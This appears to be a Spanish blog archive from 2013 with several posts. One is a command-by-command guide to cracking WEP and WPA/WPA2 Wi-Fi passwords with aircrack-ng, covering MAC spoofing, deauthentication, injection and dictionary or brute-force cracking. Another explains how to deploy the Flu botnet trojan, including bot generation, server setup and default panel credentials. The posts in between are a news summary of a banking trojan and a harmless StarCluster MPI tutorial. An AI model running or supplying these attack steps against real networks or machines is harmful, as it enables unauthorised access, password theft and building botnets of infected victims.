Archivos para febrero, 2013

Wauuu lo que puede hacer un simple Script , volver loca a una mujer! .Una vez más demostrado que un informático también tiene su corazoncillo y que es un buen conquistador!!! :p.
 
Bueno volviendo al mundo malévolo y dejando la cursileria de lado , les presentaré un resumen de como atacar una Wireless con seguridad WEP y WPA/WPA2/PSK.
 
” A continuación se ponen en conocimiento de los artículos del Código Penal del Reino de España que existe la posibilidad de que sean vulnerados si se diese un uso usofraudulento de las comunicaciones inalámbricas. El autor no se hace responsable del uso de los conocimientos adquiridos o aquí descritos. “
 
Conociendo las normas legales continuaremos…
 
Para esto a manera de concepto existen diversos tipos de ataques sobre una Wi-Fi :
 
*Eavesdropping
*Defraudación de comunicaciones
*Hijacking
*Man in the Middle.
*Denial of Service & Distributed  D.O.S
*Spam/ Span over Voice over IP (SPIT)
*Ejecución remota de código arbitrario.
 
Empezando con algunos comandos en Linux :
Viendo dispositivo inalámbrico y activandolo.
      ifconfig
      ifconfigwlan0 up
Listando redes inalámbricasdisponibles.
      iwlist wlan0 scan
Conectandose a una red Wirless
      iwconfig wlan0 essidWifiDestroyer
OpteniendodireccionIP.
      dhclient3 wlan0
 
Instalación en Linux de herramientas Wireless:
Normalmente viene  instalado pero si no hay que instalarlo manualmente.
Paquete “wireless-tool”.
  sudo apt-get install wireless-tools
Comprobar chipset
  lspci | grep Network
  lsusb | grep Wireless
•  Instalación de Suite Aircrack-ng
  sudo apt-get install aircrack-ng  
Airmon-ng: cambio de modo de NIC.
EJEMPLOS BÁSICOS:
•To start wlan0 in monitor mode:
  airmon-ng start wlan0
•To start wlan0 in monitor mode on channel 8:
  airmon-ng start wlan0 8
•To stop wlan0:
  airmon-ng stop wlan0
•To check the status:
  airmon-ng
 
Cambio de la MAC pasos:
#airmon-ng                          //viendo la interfaz que usamos
#airmon-ng stop  wlan0        //detenemos el modo monitor
#ifconfig  wlan0   down         //tiramos nuestra interface
#macchanger –mac 02:11:22:33:4B:5A wlan0     //cambiando la mac a 02:11:22:33:4B:5A
#airmon-ng start wlan0         //iniciamos el modo monitor nuevamente.
 
Nota:existen un sin numero de herramientas que practicamente automatizan el cambio de la 
MAC :
MAC AddressChanger: (Windows)
TechnitiumMAC AddressChanger: (Windows) 
   http://www.technitium.com/tmac/index.html
A)Buscando Redes empezando ATAQUE WEP:
#airodump-ng wlan0            //escaneando redes, para detener : Ctrl + C 
#airodump-ng -c 1 -w underc0de –bssid 4A:2C:56:33:76:5E wlan0  //canal : 3, capturamos 
 datas [no cerrar terminal]
 
Asociándonos a la Red (abrimos otro terminal)
#aireplay-ng -1 0 -a  4A:2C:56:33:76:5E -h 02:11:22:33:4B:5A -e WifiDestroyer wlan0  
Si nos aparece algun tipo de error puede ser por lo siguiente:
-La red a la que quieres atacar está muy lejos.
-Tu tarjeta de red no puede hacer inyección de paquetes.
-el router tiene seguridad para evitar este tipo de ataques.
 
Inyectando tráfico (en el terminal anterior)
#aireplay-ng -3 -b  4A:2C:56:33:76:5E -h 02:11:22:33:4B:5A wlan0  
 
Desencriptando el password (abrimos un tercer terminal )
#aircrack-ng underc0de-01.cap  
Con esto al termino del desencriptado nos mostrara el password.
 
B) ATAQUE WPA/WPA2/PSK:
Colocamos  nuestra interfaz en modo monitor de la misma forma que en el caso del Ataque 
WEP.
Capturando el HANDSHAKE
#airodump-ng mon0  //escaneando redes, para detener : Ctrl + C 
#airodump-ng mon0 –channel 1 –bssid 4A:2C:56:33:76:5E -w /tmp/wpa2  //nos aparece una 
imagen de la red de clientes conectados
Abrimos otro terminal y en el colocamos lo siguiente:
#aireplay-ng -0 1 -a 4A:2C:56:33:76:5E -c 70:F1:A2:95:T4:5D mon0    // 70:F1:A2:95:T4:5D : 
MAC del cliente
Ejecutado el comando, en el terminal anterior aparecerá en la parte superior derecho el 
Handshake.
Por ultimo desencriptaremos el password pudiendo hacerse de dos formas con :
*Fuerza Bruta con el John the Ripper.
*Por medio de Diccionario.
Obteniendo el Password
Utilizando el diccionario 
#aircrack-ng -w /pentest/passwords/wordlists/wpa.txt -b 4A:2C:56:33:76:5E /tmp/wpa2*.cap
 
Utilizando el john the ripper
# /pentest/passwords/jtr/john –stdout –incremental:all | aircrack-ng -b 4A:2C:56:33:76:5E -w – 
/tmp/wpa2*.cap
Ahora sólo nos queda esperar en vista que el tiempo es proporcional a la dificultad del 
password.
 
Existe una herramienta que también es muy recomendable por su automatización y por el 
tiempo que nos ahorrará ,siendo muy usada en las auditorias.
WIFITE es una herramienta que esta desarrollada en Python y que nos permitirá realizar 
ataque WEP y WAP al mismo tiempo, para esto lo descargamos :
#chmod +x wifite.py
ejecutamos la aplicación
#./wifite.py
Lo que viene a continuación es sólo seguir la instrucción del programa que prácticamente 
trabajará al punto que nos brindara directamente el password de la red atacada.
 
David Hulton, permite alquilar en su web alquilar por pocos dólares, clustersde tarjetas 
FPGAS para crackearWPA.   https://www.cloudcracker.com/
 
Si se dispone de tarjetas gráficas compatibles, se pueden utilizar herramientas que son 
capaces de procesar el ataque en los núcleos de las propias GPUs. Por ejemplo, con 
ElcomsoftWireless Security Auditor (Windows).   http://www.elcomsoft.es
 
En Linux, se puede usar Pyrit. Este programa permite crear Bases de datos masivas de 
hashes precalculados de passwords. Para ello hace uso de los multiples cores de una 
maquina y de algunas tarjetas graficas como ATI-Stream, Nvidia CUDA and OpenCL. 
Es el ataque más potente que se puede hacer actualmente para ataques de fuerza 
bruta.
 
Comandos: pyrit -r captura_WPA_Wifilabs.pcap-01.cap -i dict.txt -b 1c:7e:e5:fd:08:f8 
attack_passthrough
  -r à fichero de captura de Handshake
  -i à Dicccionario
  – b à BSSID de la red
  attack_passthrough
 

 
 
La firma de seguridad Kaspersky ha detectado un malware que se distribuye mediante correos spam y que tras introducirse en el ordenador de la víctima se hace pasar por el antivirus avast! para evitar ser detectado. 
 
Se trata de un “troyano bancario brasileño”, cuyo objetivo es captar datos financieros y enviarlos a los ciberdelincuentes, y está dirigido principalmente a usuarios de Brasil, donde el antivirus gratuito Avast es el más popular.

 

Al infectar el equipo el malware muestra el icono de Avast en la bandeja del sistema. Si se pincha sobre él aparece una ventana emergente con el mensaje “Su Avast! antivirus está siendo actualizado, espere”, o bien “Avast antivirus: atención, su sistema está protegido”.
 
 
                           
Antes de descargar el producto Avast falso, otro módulo, basado en el producto anti-rootkits Avenger, trata de eliminar los siguientes productos antivirus del sistema, si es que están instalados: AVG, McAfee, Panda, Nod32, Kaspersky, Bitdefender, Norton, Microsoft Security Essentials, PSafe, Avira y Avast.

Se usan muchos archivos maliciosos en la misma campaña. Tienen tareas diferentes y Kaspersky Anti-Virus los detecta como
Trojan.Win32.Delf.ddir, Trojan.Win32.ChePro.aov, Trojan.Win32.ChePro.anv, Trojan-Banker.Win32.Delf.apg, not-a-virus:RiskTool.Win32.Deleter.i, Trojan-Banker.Win32.Agent.jst y Trojan.Win32.Delf.ddiq.


Parece que los cibercriminales brasileños piensan: “¿Para qué combatir las detecciones de antivirus? A veces es muy complicado. Mejor reemplacémoslas con nuestras propias soluciones falsas y todos salimos ganando”.

                                                                                                                            http://www.infospyware.com

HPC en la nube con StartCluster

Publicado: febrero 12, 2013 en Uncategorized
Hola, por ahi les comentaré un artículo que encontré de “Garvin W.Burris” que habla HPC basada en la nube. StartCluster es un proyecto del Massachusetts Institute of Technology (MIT) elaborado por Software Tools for Academics and Researchers (STAR), el Kit de herramientas es de código abierto y se distribuye libremente. La última versión de desarrollo se encuentra en el sistema de control de revisiones Github. Es prerequisito para el uso de StarCluster disponer de una cuenta de Amazon AWS. El ejemplo que  mostrado sólo les deberá costar lo mínimo(céntimos) por el uso de una pequeña cantidad de almacenamiento en disco Elastic Block Storage (EBS), así disponiendo de la cuenta abrimos una terminal en Linux local.

Primero creamos un directorio para el proyecto llamado starcluster:

$mkdir ~/starcluster ; cd  ~/starcluster
$curl -0 https://raw.github.com/pypa/virtualenv/master/virtualenv.py
$python virtualenv.py cloudhpc
  New python executable in cloudhpc/bin/python
  Installing setuptools………………………done.
  Installing pip……………………done.
$.cloudhpc/bin/activate
$pip install starcluster
  Downloading/unpacking starcluster …
  Sucefully installed starcluster ssh boto
workerpool Jinja2 decorator pyasn1 pycrypto
Cleaning up…

Al ejecutarse StarCluster lanzará un error , preguntandonos si queremos crear una configuración nueva. Seleccionamos la opción 2 para crear un fichero de configuración por defecto.

$starcluster help
  StarCluster – (http>//web.mit.edu/starcluster)
  (v.0.93.3)
  Software Tools for Academics and Researchers(STAR)
  Please submit bug reports to starcluster@mit.edu

  !!! ERROR – config file ~/.starcluster/config does not exist
  Options:
  ———
  [1] Show the StarCluster config template
  [2] Write config template to~/.starcluster/config
  [q] Quit

  Please enter your selection: 2
  >>config template written to ~/.starcluster/config
  >>Please customize the config template

editamos dicho fichero  de configuración estableciendo los valores correspondientes. Asegurandonos de sustituir nuestras creenciales. Añadimos Parámetros a la configuración:

$nano ~/.starcluster/config
  [aws info]
  AWS_ACCESS_KEY_ID=YOUR_AWS_Access_key_ID
  AWS_SECRET_ACCESS_KEY=YOUR_Secret_Access_key
  AWS_USER_ID=YOUR_amazon_userid

creamos la clave SSH para el acceso por la Shell remota a los nodos del Clúster , introducimos el siguiente comando:

$starcluster createkey -o ~/starcluster/foocluster.rsa foocluster

Especificamos la imagen y tipo de instancia:

$nano ~/.starcluster/config
 [key foocluster]
 KEY_LOCATION=~/starcluster/foocluster.rsa
 [cluster smallcluster]
 KEYNAME=foocluster
 NODE_IMAGE_ID=ami -d3ce7bba
 NODE_INSTANCE_TYPE=tl.micro

Iniciando el Micro Cluster de dos nodos

$starcluster start -s 2 foocluster
  …
  >>>Using default cluster template:smallcluster
  >>>Validating cluster template settings…
  >>>Cluster template settings are valid
  >>>Starting cluster…
  >>>Launching a 2-node cluster…
  …
  >>>Configuring cluster took 1.154 mins
  >>>Starting cluster took 2.305 mins
  …

El nodo principal de un cluster se denomina nodo maestro. Listando los cluster en ejecución:

$starcluster listclusters
  …
  Uptime:0 days, 00:04:05
  Zone:us-east-1d
  keypair: foocluster
  EBS volumes:
  vol – 4c048437 on master:/dev/sda (status:attached)
  vol – 4f048434 on node001:/dev/sda (status:attached)
  Cluster nodes:
  master running i -6a10c710
    ec2-50-17-57-111.compute-1.amazonaws.com
  node001 running i – 6810c712
     ec2-23-20-255-177.compute-1.amazonaws.com
  Total nodes: 2

Visualizando la cola:

$starcluster sshmaster foocluster -u sgeadmin
  [sgeadmin@master~]$ qstat -g c
  …
  [sgeadmin@master~]$qhost
  …

El estado muestra que tenemos 2 hosts con un hueco de CPU cada uno en la cola de trabajos all.q Pero por qué se utilizan estas CPUs?como ejemplo usaremos el método de Montecarlo para calcular el valor de PI:
$grep -v local /etc/hosts | cut -d” ” -f2>~/hostfile
$nano pi.py
$mpirun -np 2 -hostfile hostfile python pi.py
  3.14192133333

fichero pi.py
01 from mpi4py import MPI
02 import random
03
04 comm=MPI.COMM_WORLD
05 rank=comm.Get_rank()
06 mpisize=comm.GET_size()
07 nsamples=int(6e6/mpisize)
08
09 inside=0
10 random.seed(rank)
11 for i in range(nsamples):
12   x=random.random()
13   y=random.random()
14   if (x*x)+(y*y)<1:
15       inside += 1
16  
17 mypi=(4.0 * inside)/nsamples
18 pi=comm.reduce(mypi , op=MPI.SUM, root=0)
19
20 if rank==0
21    print(1.0 / mpisize)*pi

Crearemos un script de trabajo especificando el entorno de paralelización ,para usar la cola:
01#!/bin/sh
02#Export all environment variables
03#$ -V
04#Your job name
05#$ -N pi
06#Use current working directory
07#$ -cwd
08#Join stdout and stderr
09#$ -j y
10#PARALLEL ENVIRONMENT:
11#$-pe orte 2
12#Enable resource reservation
13#$ -R y
14#The max hard walltime for this job is 16 minutes (after this it will killed)
15#$ -l h_rt=00:16:00
16#The max soft walltime for this job is 15 minute(after this SIGUSR2 will be sent)
17#$ -l s_rt=00:15:00
18echo “Got $NSLOTS processors.”
19#The mpirun command.
20mpirun -np $NSLOTS python pi.py

enviamos con el comando :
$nano pi.sh
$qsub pi.sh

comprobamos el estado del trabajo con el comando qstate. Tras finalizar la salida de trabajo podemos encontrarla en el fichero $JOB_NAME ó $JOB_ID
$qstat
$cat pi.o1

Got 2 processors.
 3.14192133333

Cuando hayamos finalizado, tenemos que asegurarnos de salir y finalizar todas las instancias (porque la factura se basará en las horas de uso) introducimos las siguientes líneas:
$exit
$startcluster terminate foocluster

Terminate EBS cluster foocluster (y/n)? y

Para aprender más de StarCluster del MIT  podrán encontar información en :

http://web.mit.edu/star/cluster/docs/latest/contents.html
http://github.com/jtriley/StarCluster/wiki

 

TROYANO FLU B0.5.2 WINDOWS

Publicado: febrero 6, 2013 en Uncategorized
Bueno hoy día si he tenido un día súper pesado por el trabajo y  las clases que fueron más teóricas que prácticas les comentaré el día de hoy , de una aplicación que vimos en las clases del MUSI al menos para darse algunos jueguitos se puede decir que está bien… Flu es un troyano orientado a la construcción de botnets, también conocidas como redes de máquinas zombies. Se encuentra diseñado con una arquitectura cliente-servidor. El servidor consiste en un pequeño ejecutable programado en C# que permitirá infectar cualquier sistema operativo Windows, incluyendo Windows 7, para conseguir el control de la máquina en la que se hospeda. El servidor web, donde se ejecuta el cliente, se encuentra desarrollado en PHP y corre sobre Apache. Su objetivo es enviar comandos a todos los servidores Flu alojados en las víctimas repartidas por Internet, para obtener información de las máquinas en las que se encuentran instalados, y almacenarla en la base de datos. La información de los usuarios podrá ser consultada en el servidor web en cualquier momento desde una interfaz gráfica desarrollada en HTML, PHP y JQuery.

En el siguiente gráfico veremos como la comunicación del cliente y el servidor de Flu tiene dos direcciones:

Flu es un troyano que se compone de tres partes principales, un ejecutable desarrollado en C# que se instala en la máquina que se desea infectar. Que hará las funciones de un servidor en una arquitectura de troyano reverso (cliente-servidor). Una segunda parte que es un programa desarrollado en PHP y que se despliega en un servidor web Apache. Que hará las funciones de cliente en una arquitectura de troyano reverso. Y una tercera parte que es una base de datos MySQL instalada en el servidor web donde almacena los datos recogidos de las máquinas infectadas.

Para instalar nuestro cliente en el servidor web, simplemente seleccionaremos todos los archivos que contiene la carpeta “Servidor web”, que encontraréis dentro del archivo comprimido con todos los elementos de Flu, y los arrastráis en la carpeta raíz de vuestro servidor web.

<?php
$dbhost=”localhost”;
$dbusuario=”root”;
$dbpassword=””;
$db=”flubbdd”;
$conexion = mysql_connect($dbhost, $dbusuario, $dbpassword);
mysql_select_db($db, $conexion);

?>

Para la instalación de la BBDD se requiere tener instalado MySQL.

Para infectar una máquina habrá que generar primero un bot en el que se configurarán la ruta donde se encuentre el index de nuestro servidor web y la ruta donde se encuentre el fichero XML con el que se realizará el envió de los comandos a los bots. Para ello ejecutaremos la aplicación “generadorBots.exe”

Por defecto aparecerá el dominio localhost, deberá ser sustituido por vuestro dominio en caso de que sea diferente. Ahora se pulsará el botón “crear”:

Nos solicitará el lugar donde queremos guardar nuestro bot. Después nos solicitará el archivo “flu-nucleo.exe”, lo abrimos:

Si todo ha ido bien, nos aparecerá el mensaje: “BOT CREADO”; y tendremos el ejecutable “flu.exe” listo y configurado para infectar:
Para configurar los ataques que realizaremos contra las máquinas infectadas accederemos a la consola principal de Flu. Para ello en nuestro caso nos dirigiremos a la ruta “localhost”. Y nos encontraremos con la siguiente pantalla:

Los datos de autenticación por defecto son: 
Usuario: Admin 
Contraseña: 1234 
Estos datos se pueden modificar desde el panel de control, en la pestaña “gestión de usuarios”.

Nota : Flu acepta todos los comandos que se puedan ejecutar tanto en un CMD como en una consola de Powershell (si el equipo infectado cuenta con ella). En caso de querer enviar comandos de Powershell será necesario anteceder la palabra “powershell” a cualquier comando.

Para mayor profundización y estudio les sugiero que visiten la página oficial de Flu donde podran realizar las descargas, ejemplos de los comandos de flu y demás : www.flu-project.com